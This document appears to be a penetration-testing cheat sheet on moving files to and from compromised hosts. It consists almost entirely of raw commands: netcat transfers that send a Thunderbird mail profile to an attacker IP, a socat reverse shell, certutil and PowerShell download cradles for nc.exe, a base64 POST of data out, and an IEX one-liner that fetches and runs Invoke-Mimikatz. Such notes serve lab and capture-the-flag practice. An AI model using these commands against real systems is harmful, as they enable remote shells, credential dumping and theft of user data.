File Transfer
Listeners and binaries
Last updated
Listeners and binaries
Last updated
nc -lvp <Local_IP> > file
nc <Target_IP> <port> < file
For entire directories is good practice to use tar
:
nc -lvp 4445 > .thunderbird.tar
tar -cf - .thunderbird | nc 10.10.16.10 4445
cat <file> | nc Target_IP 443
With the right permissions, you can copy the file to /var/www/html
so it can be access from the URL http://<server-ip>/file.txt
.
cp archivo.txt /var/www/html
Enable permissions
sudo chown www-data:www-data /var/www/html/archivo.txt
sudo chmod 644 /var/www/html/archivo.txt
Ensure the appropriate upload_max_filesize
and post_max_size
directives are set in the php.ini
file.
Normally is located here /etc/php/7.x/apache2/php.ini
upload_max_filesize = 50M
post_max_size = 50M
scp localfile username@remotehost:/path/to/destination/
scp username@remotehost:/path/to/remotefile /local/path/
scp -P 47502 linpeas.sh user1@83.136.252.198:/home/user1
scp -i ~/.ssh/key linpeas.sh professor@10.10.10.131:/home/professor/
scp archivo.txt user@remote-server:/var/www/html/
socat file:`tty`,raw,echo=0 tcp-listen:4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
python3 -m http.server 443
certutil.exe -f -urlcache -split http://<IP>/<file>
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe
python3 -m http.server 443
IWR -uri http://<ip>/<file> -OutFile <file_name>
Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64
impacket-smbserver <share_name> <file_path> -smb2support
copy \\<ip>\share\<file> <destination_path>
curl http://ip/file -o <output>
wget http://ip/file -OutFile <output>
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://ip/file', '<output>')
IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')